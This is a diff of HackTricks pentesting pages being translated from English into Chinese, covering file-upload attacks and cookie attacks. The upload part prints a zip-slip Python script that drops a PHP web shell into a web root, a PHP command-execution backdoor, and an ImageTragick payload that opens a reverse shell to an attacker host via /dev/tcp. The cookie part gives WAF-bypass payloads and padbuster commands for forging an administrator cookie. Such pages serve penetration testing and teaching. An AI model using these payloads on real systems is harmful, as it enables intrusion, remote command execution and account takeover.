z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
```
**利用压缩进行文件喷洒**
**Abusing compression for file spraying**
有关更多详细信息,请**查看原始帖子**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
For further details **check the original post in**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **创建 PHP Shell**: PHP 代码被编写以执行通过 `$_REQUEST` 变量传递的命令。
1. **Creating a PHP Shell**: PHP code is written to execute commands passed through the `$_REQUEST` variable.
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
```php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
2. **文件喷洒和压缩文件创建**: 创建多个文件,并组装一个包含这些文件的 zip 存档。
2. **File Spraying and Compressed File Creation**: Multiple files are created and a zip archive is assembled containing these files.
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
```bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
```
3. **使用十六进制编辑器或 vi 进行修改**: 使用 vi 或十六进制编辑器更改 zip 内部文件的名称,将 "xxA" 更改为 "../" 以遍历目录。
3. **Modification with a Hex Editor or vi**: The names of the files inside the zip are altered using vi or a hex editor, changing "xxA" to "../" to traverse directories.
```bash
:set modifiable
:%s/xxA/..\//g
:x!
```
```bash
:set modifiable
:%s/xxA/..\//g
:x!
```
## ImageTragic
Upload this content with an image extension to exploit the vulnerability **(ImageMagick , 7.0.1-1)** (form the [exploit](https://www.exploit-db.com/exploits/39767))
将此内容与图像扩展名一起上传以利用该漏洞 **(ImageMagick , 7.0.1-1)** (来自 [exploit](https://www.exploit-db.com/exploits/39767))
```
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## 在PNG中嵌入PHP Shell
## Embedding PHP Shell on PNG
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized``imagecopyresampled`函数在此上下文中特别相关因为它们通常用于调整和重新采样图像。嵌入的PHP shell能够不受这些操作影响这在某些用例中是一个显著的优势。
Embedding a PHP shell in the IDAT chunk of a PNG file can effectively bypass certain image processing operations. The functions `imagecopyresized` and `imagecopyresampled` from PHP-GD are particularly relevant in this context, as they are commonly used for resizing and resampling images, respectively. The ability of the embedded PHP shell to remain unaffected by these operations is a significant advantage for certain use cases.
以下文章提供了对该技术的详细探讨,包括其方法论和潜在应用:["在PNG IDAT块中编码Web Shells"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
A detailed exploration of this technique, including its methodology and potential applications, is provided in the following article: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). This resource offers a comprehensive understanding of the process and its implications.
更多信息在:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## 多语言文件
## Polyglot Files
多语言文件在网络安全中作为一种独特工具,像变色龙一样可以同时有效地存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar)它既可以作为GIF也可以作为RAR档案。这样的文件并不限于这种配对像GIF和JS或PPT和JS的组合也是可行的。
Polyglot files serve as a unique tool in cybersecurity, acting as chameleons that can validly exist in multiple file formats simultaneously. An intriguing example is a [GIFAR](https://en.wikipedia.org/wiki/Gifar), a hybrid that functions both as a GIF and a RAR archive. Such files aren't limited to this pairing; combinations like GIF and JS or PPT and JS are also feasible.
多语言文件的核心实用性在于它们能够绕过基于类型的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式例如JS、PHP或Phar文件带来的风险。然而多语言文件通过符合多种文件类型的结构标准可以悄然绕过这些限制。
The core utility of polyglot files lies in their capacity to circumvent security measures that screen files based on type. Common practice in various applications entails permitting only certain file types for upload—like JPEG, GIF, or DOC—to mitigate the risk posed by potentially harmful formats (e.g., JS, PHP, or Phar files). However, a polyglot, by conforming to the structural criteria of multiple file types, can stealthily bypass these restrictions.
尽管它们具有适应性但多语言文件确实面临限制。例如虽然一个多语言文件可能同时包含一个PHAR文件PHp ARchive和一个JPEG但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格仅仅是多语言文件的结构双重性可能不足以保证其上传。
Despite their adaptability, polyglots do encounter limitations. For instance, while a polyglot might simultaneously embody a PHAR file (PHp ARchive) and a JPEG, the success of its upload might hinge on the platform's file extension policies. If the system is stringent about allowable extensions, the mere structural duality of a polyglot may not suffice to guarantee its upload.
更多信息在:[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
## References
## 参考文献
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
@ -332,9 +320,8 @@ More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-frie
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_要求流利的波兰语书写和口语能力_).
{% embed url="https://www.stmcyber.com/careers" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,8 +1,7 @@
# PDF Upload - XXE and CORS bypass
# PDF 上传 - XXE 和 CORS 绕过
{{#include ../../banners/hacktricks-training.md}}
**Check [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
**检查 [https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html](https://insert-script.blogspot.com/2014/12/multiple-pdf-vulnerabilites-text-and.html)**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,35 +4,35 @@
## Cookie Attributes
Cookies come with several attributes that control their behavior in the user's browser. Heres a rundown of these attributes in a more passive voice:
Cookies 具有几个属性,控制它们在用户浏览器中的行为。以下是这些属性的简要说明:
### Expires and Max-Age
The expiry date of a cookie is determined by the `Expires` attribute. Conversely, the `Max-age` attribute defines the time in seconds until a cookie is deleted. **Opt for `Max-age` as it reflects more modern practices.**
Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定义了在删除 cookie 之前的秒数。**选择 `Max-age`,因为它反映了更现代的做法。**
### Domain
The hosts to receive a cookie are specified by the `Domain` attribute. By default, this is set to the host that issued the cookie, not including its subdomains. However, when the `Domain` attribute is explicitly set, it encompasses subdomains as well. This makes the specification of the `Domain` attribute a less restrictive option, useful for scenarios where cookie sharing across subdomains is necessary. For instance, setting `Domain=mozilla.org` makes cookies accessible on its subdomains like `developer.mozilla.org`.
接收 cookie 的主机由 `Domain` 属性指定。默认情况下,这设置为发出 cookie 的主机,不包括其子域。然而,当 `Domain` 属性被明确设置时,它也包括子域。这使得 `Domain` 属性的指定成为一个不那么严格的选项,适用于需要跨子域共享 cookie 的场景。例如,设置 `Domain=mozilla.org` 使得在其子域如 `developer.mozilla.org` 上可以访问 cookie。
### Path
A specific URL path that must be present in the requested URL for the `Cookie` header to be sent is indicated by the `Path` attribute. This attribute considers the `/` character as a directory separator, allowing for matches in subdirectories as well.
`Path` 属性指示必须在请求的 URL 中存在的特定 URL 路径,以便发送 `Cookie` 头。此属性将 `/` 字符视为目录分隔符,允许在子目录中匹配。
### Ordering Rules
When two cookies bear the same name, the one chosen for sending is based on:
当两个 cookie 具有相同的名称时,选择发送的 cookie 基于:
- The cookie matching the longest path in the requested URL.
- The most recently set cookie if the paths are identical.
- 与请求的 URL 中最长路径匹配的 cookie。
- 如果路径相同,则选择最近设置的 cookie。
### SameSite
- The `SameSite` attribute dictates whether cookies are sent on requests originating from third-party domains. It offers three settings:
- **Strict**: Restricts the cookie from being sent on third-party requests.
- **Lax**: Allows the cookie to be sent with GET requests initiated by third-party websites.
- **None**: Permits the cookie to be sent from any third-party domain.
- `SameSite` 属性决定是否在来自第三方域的请求中发送 cookie。它提供三种设置
- **Strict**:限制 cookie 在第三方请求中发送。
- **Lax**:允许 cookie 与由第三方网站发起的 GET 请求一起发送。
- **None**:允许 cookie 从任何第三方域发送。
Remember, while configuring cookies, understanding these attributes can help ensure they behave as expected across different scenarios.
请记住,在配置 cookie 时,理解这些属性可以帮助确保它们在不同场景中按预期行为。
| **Request Type** | **Example Code** | **Cookies Sent When** |
| ---------------- | ---------------------------------- | --------------------- |
@ -44,76 +44,76 @@ Remember, while configuring cookies, understanding these attributes can help ens
| AJAX | $.get("...") | NotSet\*, None |
| Image | \<img src="..."> | NetSet\*, None |
Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) and slightly modified.\
A cookie with _**SameSite**_ attribute will **mitigate CSRF attacks** where a logged session is needed.
表格来自 [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) 并稍作修改。\
具有 _**SameSite**_ 属性的 cookie 将 **减轻 CSRF 攻击**,其中需要登录会话。
**\*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite** **attribute will be lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Notice that temporary, after applying this change, the **cookies without a SameSite** **policy** in Chrome will be **treated as None** during the **first 2 minutes and then as Lax for top-level cross-site POST request.**
**\*请注意,从 Chrome802019年2月开始未设置 cookie samesite 属性的 cookie 的默认行为将为 lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
请注意临时情况下在应用此更改后Chrome 中 **没有 SameSite** **策略的 cookie 将在 **前 2 分钟内被 **视为 None**,然后在顶级跨站点 POST 请求中被视为 Lax。**
## Cookies Flags
### HttpOnly
This avoids the **client** to access the cookie (Via **Javascript** for example: `document.cookie`)
这避免了 **客户端** 访问 cookie例如通过 **Javascript**`document.cookie`
#### **Bypasses**
- If the page is **sending the cookies as the response** of a requests (for example in a **PHPinfo** page), it's possible to abuse the XSS to send a request to this page and **steal the cookies** from the response (check an example in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
- This could be Bypassed with **TRACE** **HTTP** requests as the response from the server (if this HTTP method is available) will reflect the cookies sent. This technique is called **Cross-Site Tracking**.
- This technique is avoided by **modern browsers by not permitting sending a TRACE** request from JS. However, some bypasses to this have been found in specific software like sending `\r\nTRACE` instead of `TRACE` to IE6.0 SP2.
- Another way is the exploitation of zero/day vulnerabilities of the browsers.
- It's possible to **overwrite HttpOnly cookies** by performing a Cookie Jar overflow attack:
- 如果页面 **作为请求的响应发送 cookie**(例如在 **PHPinfo** 页面中),可以利用 XSS 发送请求到此页面并 **窃取响应中的 cookie**(请查看 [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) 中的示例)。
- 这可以通过 **TRACE** **HTTP** 请求绕过,因为服务器的响应将反映发送的 cookie如果此 HTTP 方法可用)。此技术称为 **Cross-Site Tracking**
- 现代浏览器通过不允许从 JS 发送 TRACE 请求来避免此技术。然而,在特定软件中发现了一些绕过方法,例如向 IE6.0 SP2 发送 `\r\nTRACE` 而不是 `TRACE`
- 另一种方法是利用浏览器的零日漏洞。
- 通过执行 Cookie Jar 溢出攻击,可以 **覆盖 HttpOnly cookies**
{{#ref}}
cookie-jar-overflow.md
{{#endref}}
- It's possible to use [**Cookie Smuggling**](./#cookie-smuggling) attack to exfiltrate these cookies
- 可以使用 [**Cookie Smuggling**](./#cookie-smuggling) 攻击来外泄这些 cookie。
### Secure
The request will **only** send the cookie in an HTTP request only if the request is transmitted over a secure channel (typically **HTTPS**).
请求将 **仅** 在通过安全通道(通常是 **HTTPS**)传输时发送 cookie。
## Cookies Prefixes
Cookies prefixed with `__Secure-` are required to be set alongside the `secure` flag from pages that are secured by HTTPS.
`__Secure-` 开头的 cookie 必须与通过 HTTPS 保护的页面的 `secure` 标志一起设置。
For cookies prefixed with `__Host-`, several conditions must be met:
对于以 `__Host-` 开头的 cookie必须满足几个条件
- They must be set with the `secure` flag.
- They must originate from a page secured by HTTPS.
- They are forbidden from specifying a domain, preventing their transmission to subdomains.
- The path for these cookies must be set to `/`.
- 必须设置 `secure` 标志。
- 必须来自通过 HTTPS 保护的页面。
- 禁止指定域,防止其传输到子域。
- 这些 cookie 的路径必须设置为 `/`
It is important to note that cookies prefixed with `__Host-` are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the `__Host-` prefix for all application cookies can be considered a good practice for enhancing security and isolation.
重要的是要注意,以 `__Host-` 开头的 cookie 不允许发送到超级域或子域。此限制有助于隔离应用程序 cookie。因此使用 `__Host-` 前缀为所有应用程序 cookie 被视为增强安全性和隔离性的良好做法。
### Overwriting cookies
So, one of the protection of `__Host-` prefixed cookies is to prevent them from being overwritten from subdomains. Preventing for example [**Cookie Tossing attacks**](cookie-tossing.md). In the talk [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) it's presented that it was possible to set \_\_HOST- prefixed cookies from subdomain, by tricking the parser, for example, adding "=" at the beggining or at the beginig and the end...:
因此,`__Host-` 前缀 cookie 的保护之一是防止它们被子域覆盖。例如,防止 [**Cookie Tossing attacks**](cookie-tossing.md)。在演讲 [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) 中,展示了可以通过欺骗解析器从子域设置 \_\_HOST- 前缀的 cookie例如在开头或结尾添加 "="
<figure><img src="../../images/image (6) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Or in PHP it was possible to add **other characters at the beginning** of the cookie name that were going to be **replaced by underscore** characters, allowing to overwrite `__HOST-` cookies:
或者在 PHP 中,可以在 cookie 名称的 **开头添加其他字符**,这些字符将被 **替换为下划线** 字符,从而允许覆盖 `__HOST-` cookies
<figure><img src="../../images/image (7) (1) (1) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks
If a custom cookie contains sensitive data check it (specially if you are playing a CTF), as it might be vulnerable.
如果自定义 cookie 包含敏感数据,请检查它(特别是如果您正在进行 CTF因为它可能存在漏洞。
### Decoding and Manipulating Cookies
Sensitive data embedded in cookies should always be scrutinized. Cookies encoded in Base64 or similar formats can often be decoded. This vulnerability allows attackers to alter the cookie's content and impersonate other users by encoding their modified data back into the cookie.
嵌入 cookie 的敏感数据应始终受到审查。以 Base64 或类似格式编码的 cookie 通常可以被解码。这种漏洞允许攻击者更改 cookie 的内容,并通过将其修改后的数据重新编码回 cookie 来冒充其他用户。
### Session Hijacking
This attack involves stealing a user's cookie to gain unauthorized access to their account within an application. By using the stolen cookie, an attacker can impersonate the legitimate user.
此攻击涉及窃取用户的 cookie以获得对其在应用程序中的帐户的未授权访问。通过使用被盗的 cookie攻击者可以冒充合法用户。
### Session Fixation
In this scenario, an attacker tricks a victim into using a specific cookie to log in. If the application does not assign a new cookie upon login, the attacker, possessing the original cookie, can impersonate the victim. This technique relies on the victim logging in with a cookie supplied by the attacker.
在这种情况下,攻击者诱使受害者使用特定的 cookie 登录。如果应用程序在登录时不分配新 cookie攻击者持有原始 cookie可以冒充受害者。此技术依赖于受害者使用攻击者提供的 cookie 登录。
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
如果您在 **子域中发现了 XSS** 或您 **控制一个子域**,请阅读:
{{#ref}}
cookie-tossing.md
@ -121,9 +121,9 @@ cookie-tossing.md
### Session Donation
Here, the attacker convinces the victim to use the attacker's session cookie. The victim, believing they are logged into their own account, will inadvertently perform actions in the context of the attacker's account.
在这里,攻击者说服受害者使用攻击者的会话 cookie。受害者相信他们已登录自己的帐户将无意中在攻击者的帐户上下文中执行操作。
If you found an **XSS in a subdomain** or you **control a subdomain**, read:
如果您在 **子域中发现了 XSS** 或您 **控制一个子域**,请阅读:
{{#ref}}
cookie-tossing.md
@ -131,121 +131,108 @@ cookie-tossing.md
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
Click on the previous link to access a page explaining possible flaws in JWT.
点击上面的链接访问解释 JWT 可能存在缺陷的页面。
JSON Web Tokens (JWT) used in cookies can also present vulnerabilities. For in-depth information on potential flaws and how to exploit them, accessing the linked document on hacking JWT is recommended.
用于 cookie 的 JSON Web Tokens (JWT) 也可能存在漏洞。有关潜在缺陷及其利用方式的深入信息,建议访问有关黑客 JWT 的链接文档。
### Cross-Site Request Forgery (CSRF)
This attack forces a logged-in user to execute unwanted actions on a web application in which they're currently authenticated. Attackers can exploit cookies that are automatically sent with every request to the vulnerable site.
此攻击迫使已登录用户在他们当前已认证的 Web 应用程序上执行不必要的操作。攻击者可以利用自动随每个请求发送到易受攻击站点的 cookie。
### Empty Cookies
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Browsers permit the creation of cookies without a name, which can be demonstrated through JavaScript as follows:
(请查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)中的更多详细信息)浏览器允许创建没有名称的 cookie这可以通过 JavaScript 进行演示,如下所示:
```js
document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"
```
The result in the sent cookie header is `a=v1; test value; b=v2;`. Intriguingly, this allows for the manipulation of cookies if an empty name cookie is set, potentially controlling other cookies by setting the empty cookie to a specific value:
发送的 cookie 头中的结果是 `a=v1; test value; b=v2;`。有趣的是,如果设置了一个空名称的 cookie这允许对 cookies 进行操控,通过将空 cookie 设置为特定值,可能控制其他 cookies
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`
document.cookie = `${name}=${value}`
}
setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value
```
This leads to the browser sending a cookie header interpreted by every web server as a cookie named `a` with a value `b`.
这导致浏览器发送一个 cookie 头,每个 web 服务器将其解释为名为 `a`,值为 `b` 的 cookie。
#### Chrome Bug: Unicode Surrogate Codepoint Issue
In Chrome, if a Unicode surrogate codepoint is part of a set cookie, `document.cookie` becomes corrupted, returning an empty string subsequently:
在 Chrome 中,如果 Unicode 代理代码点是设置的 cookie 的一部分,`document.cookie` 将变得损坏,随后返回一个空字符串:
```js
document.cookie = "\ud800=meep"
```
这导致 `document.cookie` 输出一个空字符串,表明永久性损坏。
This results in `document.cookie` outputting an empty string, indicating permanent corruption.
#### Cookie Smuggling Due to Parsing Issues
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) Several web servers, including those from Java (Jetty, TomCat, Undertow) and Python (Zope, cherrypy, web.py, aiohttp, bottle, webob), mishandle cookie strings due to outdated RFC2965 support. They read a double-quoted cookie value as a single value even if it includes semicolons, which should normally separate key-value pairs:
#### 由于解析问题导致的 Cookie 走私
(查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)的更多细节) 一些网络服务器,包括 JavaJetty, TomCat, Undertow和 PythonZope, cherrypy, web.py, aiohttp, bottle, webob由于对过时的 RFC2965 支持,错误处理 cookie 字符串。它们将双引号括起来的 cookie 值视为单个值,即使它包含分号,而分号通常应分隔键值对:
```
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
```
#### Cookie Injection Vulnerabilities
(Check further details in the[original research](https://blog.ankursundara.com/cookie-bugs/)) The incorrect parsing of cookies by servers, notably Undertow, Zope, and those using Python's `http.cookie.SimpleCookie` and `http.cookie.BaseCookie`, creates opportunities for cookie injection attacks. These servers fail to properly delimit the start of new cookies, allowing attackers to spoof cookies:
(查看[原始研究](https://blog.ankursundara.com/cookie-bugs/)的更多细节) 服务器对 cookies 的错误解析,特别是 Undertow、Zope 以及使用 Python 的 `http.cookie.SimpleCookie``http.cookie.BaseCookie` 的服务器,创造了 cookie 注入攻击的机会。这些服务器未能正确分隔新 cookie 的开始,允许攻击者伪造 cookies
- Undertow expects a new cookie immediately after a quoted value without a semicolon.
- Zope looks for a comma to start parsing the next cookie.
- Python's cookie classes start parsing on a space character.
- Undertow 期望在带引号的值后立即出现新 cookie而不需要分号。
- Zope 寻找逗号以开始解析下一个 cookie。
- Python 的 cookie 类在空格字符上开始解析。
This vulnerability is particularly dangerous in web applications relying on cookie-based CSRF protection, as it allows attackers to inject spoofed CSRF-token cookies, potentially bypassing security measures. The issue is exacerbated by Python's handling of duplicate cookie names, where the last occurrence overrides earlier ones. It also raises concerns for `__Secure-` and `__Host-` cookies in insecure contexts and could lead to authorization bypasses when cookies are passed to back-end servers susceptible to spoofing.
这种漏洞在依赖基于 cookie 的 CSRF 保护的 web 应用程序中尤其危险,因为它允许攻击者注入伪造的 CSRF-token cookies可能绕过安全措施。这个问题因 Python 对重复 cookie 名称的处理而加剧,最后一个出现的名称会覆盖之前的名称。它还引发了对不安全上下文中 `__Secure-``__Host-` cookies 的担忧,并可能导致在将 cookies 传递给易受伪造影响的后端服务器时绕过授权。
### Cookies $version and WAF bypasses
According to [**this blogpost**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie), it might be possible to use the cookie attribute **`$Version=1`** to make the backend use an old logic to parse the cookie due to the **RFC2109**. Moreover, other values just as **`$Domain`** and **`$Path`** can be used to modify the behaviour of the backend with the cookie.
根据[**这篇博客**](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie),可能可以使用 cookie 属性 **`$Version=1`** 使后端使用旧逻辑解析 cookie原因是 **RFC2109**。此外,其他值如 **`$Domain`** 和 **`$Path`** 可以用来修改后端对 cookie 的行为。
#### Bypassing value analysis with quoted-string encoding
This parsing indicate to unescape escaped values inside the cookies, so "\a" becomes "a". This can be useful to bypass WAFS as:
这种解析表明要取消转义 cookies 内部的转义值,因此 "\a" 变为 "a"。这对于绕过 WAFS 很有用,因为:
- `eval('test') => forbidden`
- `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed`
#### Bypassing cookie-name blocklists
In the RFC2109 it's indicated that a **comma can be used as a separator between cookie values**. And also it's possible to add **spaces and tabs before an after the equal sign**. Therefore a cookie like `$Version=1; foo=bar, abc = qux` doesn't generate the cookie `"foo":"bar, admin = qux"` but the cookies `foo":"bar"` and `"admin":"qux"`. Notice how 2 cookies are generated and how admin got removed the space before and after the equal sign.
在 RFC2109 中指出 **逗号可以用作 cookie 值之间的分隔符**。而且在等号前后也可以添加 **空格和制表符**。因此,像 `$Version=1; foo=bar, abc = qux` 的 cookie 不会生成 cookie `"foo":"bar, admin = qux"`,而是生成 cookies `foo":"bar"``"admin":"qux"`。注意生成了 2 个 cookies以及 admin 在等号前后去掉了空格。
#### Bypassing value analysis with cookie splitting
Finally different backdoors would join in a string different cookies passed in different cookie headers like in:&#x20;
最后,不同的后门会将不同的 cookies 连接成一个字符串,传递在不同的 cookie 头中,如:&#x20;
```
GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;
```
Which could allow to bypass a WAF like in this example:
这可能允许绕过WAF如此示例所示
```
Cookie: name=eval('test//
Cookie: comment')
Resulting cookie: name=eval('test//, comment') => allowed
```
### 额外的易受攻击的 Cookie 检查
### Extra Vulnerable Cookies Checks
#### **基本检查**
#### **Basic checks**
- **cookie** 每次 **登录** 时都是 **相同** 的。
- 登出并尝试使用相同的 cookie。
- 尝试在 2 个设备(或浏览器)上使用相同的 cookie 登录同一账户。
- 检查 cookie 中是否有任何信息并尝试修改它。
- 尝试创建多个几乎相同用户名的账户,并检查是否可以看到相似之处。
- 检查是否存在 "**记住我**" 选项以查看其工作原理。如果存在并且可能存在漏洞,请始终使用 "**记住我**" 的 cookie而不使用其他 cookie。
- 检查即使在更改密码后,之前的 cookie 是否仍然有效。
- The **cookie** is the **same** every time you **login**.
- Log out and try to use the same cookie.
- Try to log in with 2 devices (or browsers) to the same account using the same cookie.
- Check if the cookie has any information in it and try to modify it
- Try to create several accounts with almost the same username and check if you can see similarities.
- Check the "**remember me**" option if it exists to see how it works. If it exists and could be vulnerable, always use the cookie of **remember me** without any other cookie.
- Check if the previous cookie works even after you change the password.
#### **高级 cookie 攻击**
#### **Advanced cookies attacks**
如果在登录时 cookie 保持不变(或几乎不变),这可能意味着该 cookie 与您账户的某个字段相关(可能是用户名)。然后您可以:
If the cookie remains the same (or almost) when you log in, this probably means that the cookie is related to some field of your account (probably the username). Then you can:
- Try to create a lot of **accounts** with usernames very **similar** and try to **guess** how the algorithm is working.
- Try to **bruteforce the username**. If the cookie saves only as an authentication method for your username, then you can create an account with username "**Bmin**" and **bruteforce** every single **bit** of your cookie because one of the cookies that you will try will the one belonging to "**admin**".
- Try **Padding** **Oracle** (you can decrypt the content of the cookie). Use **padbuster**.
**Padding Oracle - Padbuster examples**
- 尝试创建许多非常 **相似****账户**,并尝试 **猜测** 算法的工作原理。
- 尝试 **暴力破解用户名**。如果 cookie 仅作为您用户名的身份验证方法保存,那么您可以创建一个用户名为 "**Bmin**" 的账户,并 **暴力破解** 您的 cookie 的每一个 **位**,因为您尝试的其中一个 cookie 将是属于 "**admin**" 的。
- 尝试 **填充** **Oracle**(您可以解密 cookie 的内容)。使用 **padbuster**
**填充 Oracle - Padbuster 示例**
```bash
padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
@ -255,47 +242,43 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbuster 将进行多次尝试,并会询问您哪个条件是错误条件(无效的条件)。
Padbuster will make several attempts and will ask you which condition is the error condition (the one that is not valid).
Then it will start decrypting the cookie (it may take several minutes)
If the attack has been successfully performed, then you could try to encrypt a string of your choice. For example, if you would want to **encrypt** **user=administrator**
然后它将开始解密 cookie可能需要几分钟
如果攻击成功执行,则您可以尝试加密您选择的字符串。例如,如果您想要 **encrypt** **user=administrator**
```
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
```
This execution will give you the cookie correctly encrypted and encoded with the string **user=administrator** inside.
此执行将正确加密和编码 cookie内部包含字符串 **user=administrator**
**CBC-MAC**
Maybe a cookie could have some value and could be signed using CBC. Then, the integrity of the value is the signature created by using CBC with the same value. As it is recommended to use as IV a null vector, this type of integrity checking could be vulnerable.
也许一个 cookie 可以有一些值,并且可以使用 CBC 签名。然后,值的完整性是使用相同值的 CBC 创建的签名。由于建议使用空向量作为 IV这种完整性检查可能会受到攻击。
**The attack**
**攻击**
1. Get the signature of username **administ** = **t**
2. Get the signature of username **rator\x00\x00\x00 XOR t** = **t'**
3. Set in the cookie the value **administrator+t'** (**t'** will be a valid signature of **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
1. 获取用户名 **administ** 的签名 = **t**
2. 获取用户名 **rator\x00\x00\x00 XOR t** 的签名 = **t'**
3. 在 cookie 中设置值 **administrator+t'** (**t'** 将是 **(rator\x00\x00\x00 XOR t) XOR t** 的有效签名 = **rator\x00\x00\x00**)
**ECB**
If the cookie is encrypted using ECB it could be vulnerable.\
When you log in the cookie that you receive has to be always the same.
如果 cookie 使用 ECB 加密,则可能会受到攻击。\
当您登录时,您收到的 cookie 必须始终相同。
**How to detect and attack:**
**如何检测和攻击:**
Create 2 users with almost the same data (username, password, email, etc.) and try to discover some pattern inside the given cookie
创建 2 个几乎相同数据的用户(用户名、密码、电子邮件等),并尝试发现给定 cookie 中的某些模式。
